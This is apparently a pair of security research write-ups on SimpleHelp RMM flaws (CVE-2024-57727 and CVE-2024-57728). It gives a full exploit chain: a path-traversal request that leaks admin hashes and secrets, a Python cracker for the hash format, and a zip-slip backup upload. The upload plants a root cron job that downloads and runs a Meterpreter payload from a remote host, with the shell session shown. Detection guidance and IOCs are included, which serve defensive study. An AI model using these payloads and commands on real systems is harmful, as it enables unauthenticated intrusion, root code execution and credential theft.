Activity Feed

2
Ratings
Technical Analysis

Overview

Between January 8th and 13th 2025, SimpleHelp RMM released patches for a set of vulnerabilities including an authenticated file upload affecting the following versions:

  • 5.5.x prior to 5.5.8 (patched January 8th)
  • 5.4.x prior to 5.4.10 (patched January 8th)
  • 5.3.x prior to 5.3.9 (patched January 13th)

This authenticated file upload vulnerability is able to be chained with CVE-2024-57727 an unauthenticated path traversal resulting in unauthenticated remote code execution (RCE) in the affected versions. On January 22 2025 Artic Wolf began observing a campaign involving unauthorized access to devices running SimpleHelp RMM software as an initial access vector. Note that although this campaign has been recognized and CVE-2024-57727 has been added to the CISA KEV list, CVE-2024-57728 has not yet been added.

The exploitability has been rated High because although it’s trivial to exploit with credentials it is authenticated via a custom authentication protocol which complicates automating exploitation. The attacker value has been rated Very High because when chained with CVE-2024-57727 it can provide privileged unauthenticated remote code execution (RCE).

Analysis

SimpleHelp hosts a Previous Release where Build 5.5.7 and Build 5.5.8 can both be downloaded from. If we download the Linux 64 bit tar file we will have a file named SimpleHelp-linux-amd64-5.5.8.tar.gz. Extract the contents and we have the following directory structure:

msfuser@msfuser-virtual-machine:~/testing_simple_help/SimpleHelp$ ls -l 
total 56
drwxrwxr-x  2 msfuser msfuser 4096 Jul 23  2024 admin
drwxrwxr-x  5 msfuser msfuser 4096 Jul 23  2024 configuration
-rwxr-xr-x  1 msfuser msfuser 4132 Jul 23  2024 console.sh
drwxrwxr-x 14 msfuser msfuser 4096 Oct 16 14:32 DEPLOY
drwxrwxr-x  5 msfuser msfuser 4096 Oct 16 14:32 images
drwxrwxr-x  6 msfuser msfuser 4096 Jul 30  2024 jre
drwxrwxr-x  5 msfuser msfuser 4096 Feb 20 09:09 lib
-rwxr-xr-x  1 msfuser msfuser 4132 Jul 23  2024 serverstart.sh
-rwxr-xr-x  1 msfuser msfuser 4132 Jul 23  2024 serverstop.sh
-rw-rw-r--  1 msfuser msfuser 6212 Oct 16 14:31 USAGE_TERMS.txt

SimpleHelp is a java application which is packaged inside: lib/shelp-jar-with-dependencies.jar. We can decompile and save the source files. Once we have the source for both the patched and unpatched versions, diff the two using your preferred diffing tool.

msfuser@msfuser-virtual-machine:~/testing_simple_help$ meld 5_5_7/ 5_5_8/

Navigating through the patch we can see that the function extractZip in the ZipUtils class was vulnerable to a zip slip vulnerability prior the the patch in 5.5.8. Previously extractZip didn’t verify the file path before writing the contents of the file. This allows file paths containing ../ which allow for an arbitrary file write.

Finding out how to trigger this from an authenticated context is trivial as the extractZip function is only called from one place in the entire application, the ProxyServerUpgrader class:

Tracing backward further through the source code (or by taking an educated guess based on the contents above screenshot) we find that the restartSelf function of the ProxyServerUpgrader class gets called when a SimpleHelp Administrator chooses to Restore From Backup inside the Configuration Backup settings of the Administration Panel:

To exploit this vulnerability we can authenticate to the application, using the credentials obtained through exploit CVE-2024-57727. In the Configuration Backup settings we will choose to Create Backup Now, so we can upload a valid Backup file when we exploit the zip slip. The file will save as: simplehelp_backup_250219_123329.zip. Unzip the file:

msfuser@msfuser-virtual-machine:~/testing_simple_help$ unzip simplehelp_backup_250219_123329.zip 
Archive:  simplehelp_backup_250219_123329.zip
  inflating: configuration/toolbox/toolboxdb  
  inflating: configuration/shlicense.txt  
  ...

Generate a fetch payload command using msfconsole:

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
curl -so /tmp/LCJSmTNSPfVM http://172.16.199.130:5453/7IH_n64ep-e10j3LFxxxxg;chmod +x /tmp/LCJSmTNSPfVM;/tmp/LCJSmTNSPfVM&

Create a payload file which we will upload as a cronjob:

msfuser@msfuser-virtual-machine:~/testing_simple_help$ echo "* * * * * root /bin/bash -c 'curl -so /tmp/LCJSmTNSPfVM http://172.16.199.130:5453/7IH_n64ep-e10j3LFxxxxg;chmod +x /tmp/LCJSmTNSPfVM;/tmp/LCJSmTNSPfVM&'" > evilcronjob

Move the payload file such that the following path: ../../../../../../etc/cron.d/evilcronjob is valid and contains the payload we just created. Then rezip the SimpleHelp configuration and cronjob together. Note the depth of the path traversal may be different depending on the installation of SimpleHelp:

msfuser@msfuser-virtual-machine:~/testing_simple_help$ zip -r simplehelp_backup_edited.zip configuration/ ../../../../../../etc/cron.d/evilcronjob
  adding: configuration/ (stored 0%)
  ...
  adding: ../../../../../../etc/cron.d/evilcronjob (deflated 21%)

With the Metasploit payload handler started, upload the simplehelp_backup_edited.zip file via the Restore From Backup button in the UI, as shown in the screenshot above. Then, simply wait for the cronjob to run and a Meterpreter session to be established:

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 2
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
[*] Started reverse TCP handler on 172.16.199.130:4445 
[*] Sending stage (3045380 bytes) to 172.16.199.130
[*] Meterpreter session 2 opened (172.16.199.130:4445 -> 172.16.199.130:52282) at 2025-02-19 17:04:01 -0800
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.130
OS           : Ubuntu 22.04 (Linux 6.8.0-52-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

IOCs

By default the Server Log will log ProxyServer requests to restore configurations from backup. The log should be accessed from the SimpleHelp Technician Console, as it’s encrypted and you won’t be able to read it directly from disk. If you notice any unauthorized attempts to restore configuration from backup this likely indicates you’ve been compromised.

20/02 09:50:21.543: M649-20 17:50:21.542 (+22489) [FS] Delete configuration/restoredconfig.zip
20/02 09:50:21.573: M649-20 17:50:21.573 (+   31) [ProxyServer] Restart of server requested by SimpleHelpAdmin - SimpleHelpAdmin [SimpleHelpAdminGroup]
20/02 09:50:21.573: M649-20 17:50:21.573 (+    0) [ProxyServer] Apply config? true
20/02 09:50:21.573: M649-20 17:50:21.573 (+    0) [ProxyServer] User is admin, server will restart now
20/02 09:50:21.573: M649-20 17:50:21.573 (+    0) [ProxyServer] New config is to be applied, deleting any temporary restoration files
20/02 09:50:21.574: M649-20 17:50:21.574 (+    1) [ProxyServer] Renaming uploaded config ready for hashing
20/02 09:50:21.574: M649-20 17:50:21.574 (+    0) [ProxyServer] Hashing uploaded config
20/02 09:50:21.578: M649-20 17:50:21.578 (+    4) [ProxyServer] Config hash matches, extracting now
20/02 09:50:21.589: M649-20 17:50:21.589 (+   11) [ProxyServer] Preparing to fork and restore
20/02 09:50:21.592: M649-20 17:50:21.590 (+    1) [ProxyServerUpgrader] PID is 2536
20/02 09:50:21.593: M649-20 17:50:21.590 (+    0) [ProxyServerUpgrader] Checking for systemd parent service...

As shown in the analysis above the easiest way to gain RCE from this file upload on SimpleHelp instances running on unix systems is to upload a cron job. Check for unauthorized cronjobs in /etc/cron.d/ or grep for suspicious cronjob logging (note the metasploit fetch payload being run):

msfuser@msfuser-virtual-machine:~/technician_console$ grep CRON /var/log/syslog | tail -100
Feb 19 16:30:01 msfuser-virtual-machine CRON[703449]: (root) CMD ([ -x /etc/init.d/anacron ] && if [ ! -d /run/systemd/system ]; then /usr/sbin/invoke-rc.d anacron start >/dev/null; fi)
Feb 19 16:53:01 msfuser-virtual-machine CRON[706963]: (root) CMD (/bin/bash -c 'curl -so /tmp/YyZQMouNKe http://172.16.199.130:8080/suioN8mRyX9yGnG44toCUw;chmod +x /tmp/YyZQMouNKe;/tmp/YyZQMouNKe&')
Feb 19 16:53:01 msfuser-virtual-machine CRON[706962]: (CRON) info (No MTA installed, discarding output)
Feb 19 17:04:01 msfuser-virtual-machine CRON[708644]: (root) CMD (/bin/bash -c 'curl -so /tmp/YyZQMouNKe http://172.16.199.130:8080/suioN8mRyX9yGnG44toCUw;chmod +x /tmp/YyZQMouNKe;/tmp/YyZQMouNKe&')
Feb 19 17:05:01 msfuser-virtual-machine CRON[708686]: (root) CMD (/bin/bash -c 'curl -so /tmp/YyZQMouNKe http://172.16.199.130:8080/suioN8mRyX9yGnG44toCUw;chmod +x /tmp/YyZQMouNKe;/tmp/YyZQMouNKe&')
Feb 19 17:10:01 msfuser-virtual-machine CRON[709431]: (root) CMD (/bin/bash -c 'curl -so /tmp/YyZQMouNKe http://172.16.199.130:8080/suioN8mRyX9yGnG44toCUw;chmod +x /tmp/YyZQMouNKe;/tmp/YyZQMouNKe&')
Feb 19 17:17:01 msfuser-virtual-machine CRON[710142]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Feb 19 17:30:01 msfuser-virtual-machine CRON[711403]: (root) CMD ([ -x /etc/init.d/anacron ] && if [ ! -d /run/systemd/system ]; then /usr/sbin/invoke-rc.d anacron start >/dev/null; fi)

Note that because this RCE can give privileged access it would be possible for an adversary to attempt to cover their tracks entirely depending on their desired opsec.

References

https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/

1
Ratings
Technical Analysis

Overview

Between January 8th and 13th 2025, SimpleHelp RMM released patches for a set of vulnerabilities including an unauthenticated path traversal affecting the following versions:

  • 5.5.x prior to 5.5.8 (patched January 8th)
  • 5.4.x prior to 5.4.10 (patched January 8th)
  • 5.3.x prior to 5.3.9 (patched January 13th)

This unauthenticated path traversal vulnerability is able to be chained with CVE-2024-57728 an authenticated arbitrary file upload resulting in remote code execution (RCE). On January 22 2025 Artic Wolf began observing a campaign involving unauthorized access to devices running SimpleHelp RMM software as an initial access vector.

The exploitability has been rated Very High because it is unauthenticated and easy to automate and exploit. This vulnerability is arguably most valuable to an attacker when it results in collecting hashes that are able to be cracked. This analysis contains a tool to aid in the cracking of SimpleHelp admin hashes, although hashes aren’t always able to be cracked and so attacker value has been rated High.

Analysis

SimpleHelp secrets are saved in the serverconfig.xml in the configuration folder of the application which can be exfiltrated using this path traversal. These secrets contain the SimpleHelpAdmin user’s hashed password and depending on how the server is configured can include LDAP credentials, OIDC client secrets, API keys, and TOTP seeds used for MFA.

Initial technical analysis of this vulnerability was done imjdl and can be found in the following blog post. The following article builds upon the great work and initial PoC from imjdl

The initial PoC says this will enable the attacker to return the server configuration file containing server secrets including the SimpleHelpAdmin hashed password:

GET /toolbox-resource/../randomStr/../../configuration/serverconfig.xml HTTP/1.1
Host: localhost

However this causes no response to be returned from the attempted exploit and the following line to be logged to the admin server log:

18/02 15:56:37.531: M649-18 23:56:37.525 (+13330) [WebDownloaderServer] Request for resource /toolbox-resource/../randomstr/../../configuration/serverconfig.xml received (false)

The vulnerable function responsedToolboxResource inside WebDownloadServer.class requires the randomstr to be a valid part of the path in order for the path to be evaluated successfully. If not, when attempting to call this.writeFileToOutputStream(resourceFile, this.out); which writes the file to the output stream (the HTTP response being generated by the server) it attempts to read the invalid path and throws a java.io.FileNotFoundException. This prevents this.out.flush(); from being called, resulting in no HTTP response from the server.

    private void respondToolboxResource(String s, String mime) throws IOException {
        System.out.println("[WebDownloaderServer] Request for resource " + s + " received (" + this.queryType.isHead() + ")");
        int toolboxResourceIndex = s.indexOf("toolbox-resource/");
        if (toolboxResourceIndex != -1) {
            s = s.substring(toolboxResourceIndex + "toolbox-resource/".length());
            String[] result = s.split("/");
            String itemID = result[0];
            String resourceID = result[1];

            File resourceFile = ToolBoxConstants.getResourceFile(itemID, resourceID);
            if (resourcePath != null) {
                resourceFile = new File(resourceFile, resourcePath);
            }

			<redacted>

            this.writeWithoutFlush("");
            if (!this.queryType.isHead()) {
                this.writeFileToOutputStream(resourceFile, this.out);   // This attempts to read the invalid path and throws a java.io.FileNotFoundException
            }

            this.out.flush();
        }

    }

Looking at the directory structure of the application we can see there are a number of options we can replace randomstr with :

msfuser@msfuser-virtual-machine:/opt/SimpleHelp/configuration$ ls -l 
total 88
drwxr-xr-x 2 root    root    4096 Feb  7 09:30 alertsdb
drwxr-xr-x 4 root    root    4096 Feb  8 00:16 backups
drwxr-xr-x 2 root    root    4096 Feb  7 09:30 branding
drwxr-xr-x 4 root    root    4096 Feb  7 11:18 history
drwxrwxr-x 5 msfuser msfuser 4096 Feb  7 09:25 html
drwxr-xr-x 2 root    root    4096 Feb  7 09:56 invitations
-rw-r--r-- 1 root    root      19 Feb  8 00:16 latestversion
drwxr-xr-x 2 root    root    4096 Feb  8 00:16 notifications
drwxr-xr-x 2 root    root    4096 Feb  7 09:30 recordings
drwxr-xr-x 2 root    root    4096 Feb  7 09:30 remotework
drwxr-xr-x 2 root    root    4096 Feb  7 09:30 secmsg
-rw-r--r-- 1 root    root    4060 Feb  7 12:18 serverconfig.xml
-rw-r--r-- 1 root    root    1572 Feb  7 09:31 serverkeys.dat
-rw-r--r-- 1 root    root    2700 Feb  7 09:34 shlicense.txt
-rw-r--r-- 1 root    root      86 Feb  7 12:18 simplehelpdisclaimer.txt
drwxr-xr-x 2 root    root    4096 Feb  7 09:33 simulations
drwxr-xr-x 2 root    root    4096 Feb 10 09:30 sslconfig
drwxr-xr-x 2 root    root    4096 Feb  7 12:25 techprefs
drwxrwxr-x 2 msfuser msfuser 4096 Feb  7 09:25 templates
drwxr-xr-x 2 root    root    4096 Feb  7 09:35 toolbox
drwxr-xr-x 2 root    root    4096 Feb  7 09:30 toolbox-resources
drwxrwxr-x 2 msfuser msfuser 4096 Feb  7 09:25 translations

The following PoC enables us to retrieve serverconfig.xml containing the <HashPassword> element which is the SimpleHelpAdmin user’s password.

GET /toolbox-resource/../secmsg/../../configuration/serverconfig.xml HTTP/1.1
Host: localhost	
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
If-Modified-Since: Tue, 23 Jul 2024 08:07:23 GMT
Connection: keep-alive

The response to the above request is:

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 4060

<SimpleSuite v="5.5.7" s="2t2L83Uylzr7nb3q8JwxORuvvDxp7opbZg==">
	<ServerFeatures>
		<RemoteAccess>on</RemoteAccess>
		<RemoteSupport>on</RemoteSupport>
		<Presentation>on</Presentation>
		<MobileAccess>on</MobileAccess>
		<RemoteWork>on</RemoteWork>
		<Tools>on</Tools>
		<ServiceRecovery>on</ServiceRecovery>
	</ServerFeatures>
	<DetailsList>
		<CUIField type="textfield" width="100" label="Name">
			<Remember>true</Remember>
			<Visible>true</Visible>
		</CUIField>
		<CUIField type="textfield" width="100" label="Company">
			<Remember>true</Remember>
			<Visible>true</Visible>
		</CUIField>
	</DetailsList>
	<HashPassword>aIf9uKN6zKVHvcq+qKiKCDkIgfjFyyh27w==:qQXmcjZsGwc2OVTaT4MZw2EbkiY=</HashPassword>
	<SslKeystore>
		<SecureKeystoreStorePasswordv2>2t2L83Uylzr7nb3q8JwxORuvvDxp7opbZg==:tO1oiaL07a5RTY/ffIhgkwAAAEDLeWVZXbxejTTOr7FWWp4umK+IBBDhNs61D3bjl2oCsp7LvMYWY5S4YAlmLOGDp0zQTYd4ShOUETbdzYh1GcHX</SecureKeystoreStorePasswordv2>
		<SecureKeystoreKeyPasswordv2>2t2L83Uylzr7nb3q8JwxORuvvDxp7opbZg==:tO1oiaL07a5RTY/ffIhglwAAAEDvvdED++Z0KGnbuV1KbK+mpgqluqi+BvLzyiJJ2GmlHK0oYVyztkYjbQAe/q3uCGz6UJ59vw6BPQMXJt7frnQE</SecureKeystoreKeyPasswordv2>
		<StoreType>SelfSigned</StoreType>
	</SslKeystore>
	<Port>80</Port>
	<Port>443</Port>
	<SshdEnabled>false</SshdEnabled>
	<SshdPort>0</SshdPort>
	<Hostname>127.0.0.1</Hostname>
	<AutoForget>off</AutoForget>
	<AutoForgetTimeoutMS>0</AutoForgetTimeoutMS>
	<DiskCleanup>off</DiskCleanup>
	<DiskCleanupTimeoutMonths>12</DiskCleanupTimeoutMonths>
	<EmailBatching>
		<MaxTime>60000</MaxTime>
		<MinTime>10000</MinTime>
		<MinSize>5</MinSize>
	</EmailBatching>
	<Logging>
		<Path>logs</Path>
		<Archive>on</Archive>
		<Compress>on</Compress>
		<MaxPartSize>1073741824</MaxPartSize>
		<Encrypt>on</Encrypt>
		<LogsToKeep>3</LogsToKeep>
		<MaxRunSize>10737418240</MaxRunSize>
	</Logging>
	<RedirectDefaultUrlToWelcomePage>yes</RedirectDefaultUrlToWelcomePage>
	<ServerLanguage>en</ServerLanguage>
	<TechnicianGroup machineFilters="all">
		<ID>2000001</ID>
	</TechnicianGroup>
	<Technician>
		<ID>0</ID>
	</Technician>
	<EndOfSessionOption>None</EndOfSessionOption>
	<EndOfSessionURLSupport>true</EndOfSessionURLSupport>
	<EndOfSessionURLAccess>true</EndOfSessionURLAccess>
	<WindowsElevation>true</WindowsElevation>

	<TechRestriction>*</TechRestriction>

	<EmailEnabled>off</EmailEnabled>
	<EmailSettings>
		<Type>BASIC</Type>
		<SmtpPort>0</SmtpPort>
		<SecureOAuth2ClientIDv2>2t2L83Uylzr7nb3q8JwxORuvvDxp7opbZg==:tqwlElG4x7kMaXIliM+lQAAAADDaF5A/ZOY64XxN4aNcCCaetehPCKZTO2GmrXWnaorG3IE6w4Y8orl7i5CVU/8s1OM=</SecureOAuth2ClientIDv2>
		<SecureOAuth2ClientSecretv2>2t2L83Uylzr7nb3q8JwxORuvvDxp7opbZg==:tqwlElG4x7kMaXIliM+lQwAAADBZSt45rCiWzsLPvxwXuMOB/AMORGYW4JAuQizOKXv6o1laFGyAZ2UfsTTAsLohosQ=</SecureOAuth2ClientSecretv2>
		<TLS>on</TLS>
		<SmtpSendAsTechnicians>off</SmtpSendAsTechnicians>
	</EmailSettings>

	<SessionSummary>
		<EmailSummary>
		</EmailSummary>
	</SessionSummary>
	<CustomerAuthentication>
	</CustomerAuthentication>
	<Paths>
		<Recordings>configuration/recordings</Recordings>
	</Paths>
	<Recordings>
		<Enabled>on</Enabled>
		<Auto>off</Auto>
	</Recordings>
	<RemoteWork>
		<OSAuthentication>off</OSAuthentication>
		<RemoteWorkGroupID>-1</RemoteWorkGroupID>
		<RemoteWorkOSAuthDefault>on</RemoteWorkOSAuthDefault>
	</RemoteWork>
	<MachineTimeoutMS>30000</MachineTimeoutMS>
	<SecureMessengerRouteMapSize>10000</SecureMessengerRouteMapSize>
	<ConnectionCode>
		<Token>nDmANMnzOa2Jo3Tm9bXS22/g4iWlCuvikFpXEHWJD3QpCHaZZiM5ZUv/lPaI9T7lpnjV3tQX8lWpB/id6Kkm7Q==</Token>
		<Enabled>off</Enabled>
	</ConnectionCode>
	<PrivacyPolicyURL/>
	<PushNotifications>
		<Enabled>on</Enabled>
		<WithDetails>off</WithDetails>
	</PushNotifications>
	<FailedLoginBlocking>
		<TechnicianAccount>
			<Enabled>on</Enabled>
			<Max>100</Max>
			<Duration>300000</Duration>
			<ResetAfter>60000</ResetAfter>
		</TechnicianAccount>
		<IP>
			<Enabled>on</Enabled>
			<Max>100</Max>
			<Duration>300000</Duration>
			<ResetAfter>60000</ResetAfter>
		</IP>
	</FailedLoginBlocking>
	<FeatureRLE>128</FeatureRLE>
</SimpleSuite>

We can see the hashed SimpleHelpAdmin password is defined in the xml as <HashPassword>. By looking through the application source code we can determine SimpleHelp uses the SaltedHashPasswordUtil class from the package:bcutil as seen below in order to store the admin password inside the config file:

The hashPasswordWithSalt is an interesting method that accepts a salt, but doesn’t actually use it when hashing the password. It converts the password to UnicodeBig (or UTF-16BE) and then adds the password to the digest twice (instead of adding the salt once and the password once) before taking the Base64 encoded SHA-1 digest and prepending the unused salt to it.

I’ve created a PoC for cracking this unique format which can be found here, as trying to send this salt:hashed_password combo to john or hashcat would require some massaging:

import hashlib
import base64
import argparse

def hash_password_with_salt(pword, salt):
    utf16_bytes = pword.encode('utf-16-be')

    # Prepend the BOM for UTF-16 Big Endian
    bom = bytearray([0xFE, 0xFF])
    utf16_bytes_with_bom = bom + utf16_bytes

    password_bytes = utf16_bytes_with_bom
    salt_bytes = utf16_bytes_with_bom  # Same as password_bytes

    # Create SHA-1 hash object
    sha1 = hashlib.sha1()
    sha1.update(password_bytes)
    sha1.update(salt_bytes)
    result = base64.b64encode(sha1.digest()).decode('utf-8')

    return f"{salt}:{result}"

def load_word_list(file_path):
    with open(file_path, 'r') as file:
        return [line.strip() for line in file.readlines()]

def load_password_file(file_path):
    with open(file_path, 'r') as file:
        password_data = {}
        for line in file.readlines():
            salt, hashed_password = line.strip().split(':')
            password_data[salt] = hashed_password
        return password_data

def compare_hashes(word_list, password_data, verbose=False):
    for pword in word_list:
        for salt, expected_hash in password_data.items():
            generated_hash = hash_password_with_salt(pword, salt)

            if generated_hash == f"{salt}:{expected_hash}":
                print(f"Match found! Password: \"{pword}\" matches: \"{salt}:{expected_hash}\"")
                break
        else:
            if verbose:
                print(f"No match for password: {pword}")

def main():
    parser = argparse.ArgumentParser(description="Hash password with salt and compare with a hash.")
    parser.add_argument('-w', '--wordlist', type=str, help='Path to a file containing a list of passwords (one per line)', required=True)
    parser.add_argument('-p', '--password_file', type=str, help='Path to a file containing salt:hashed_password pairs (one per line)', required=True)
    parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output for non-matching passwords', default=False)

    args = parser.parse_args()
    word_list = load_word_list(args.wordlist)
    password_data = load_password_file(args.password_file)
    compare_hashes(word_list, password_data, verbose=args.verbose)

if __name__ == "__main__":
    main()


Taking the following wordlist formatted one per line:

msfuser@msfuser-virtual-machine:~/testing_simple_help$ cat wordlist 
N0tpassword!
testingtesting
HelloIsItMeYoureLookingFor
notpassword

And the following file containing the <HashPassword> element from the serverconfig.xml:

msfuser@msfuser-virtual-machine:~/testing_simple_help$ cat hashed_password 
0QV/G2p2ak4pn+VnLpDXh/+smv1TIwavmA==:36YiPZ6CqoDG8ivv58szY45w5AU=

One can run the PoC in order to crack the hashes like so (append the -v verbose flag in order to see all the passwords that do not match the provided hash):

msfuser@msfuser-virtual-machine:~/testing_simple_help$ python3 crack.py -w wordlist -p hashed_password
Match found! Password: "notpassword" matches: "0QV/G2p2ak4pn+VnLpDXh/+smv1TIwavmA==:36YiPZ6CqoDG8ivv58szY45w5AU="

For more information on how you can chain this unauthenticated path traversal with the authenticated file upload from the same set of patches to obtain RCE, check out the AKB article

IOCs

By default the Server Log will log WebDownloaderServer requests. The log should be accessed from the SimpleHelp Technician Console, as it’s encrypted and you won’t be able to read it directly from disk. If you see request for resource /toolbox-resource/ followed by any number of: ../, like in the log below, this means you have been compromised:

20/02 09:38:19.033: M649-20 17:38:19.033 (+ 5327) [WebDownloaderServer] Request for resource /toolbox-resource/../secmsg/../../configuration/serverconfig.xml received (false)

If this is the case for you, update SimpleHelp immediately and rotate any secret stored in serverconfig.xml. Also review/ replace/ notify the owner of any confidential information stored on the operating system running the SimpleHelp server.

References

https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/
https://rustlang.rs/posts/simple-help/
https://arcticwolf.com/resources/blog/arctic-wolf-observes-campaign-exploiting-simplehelp-rmm-software-for-initial-access/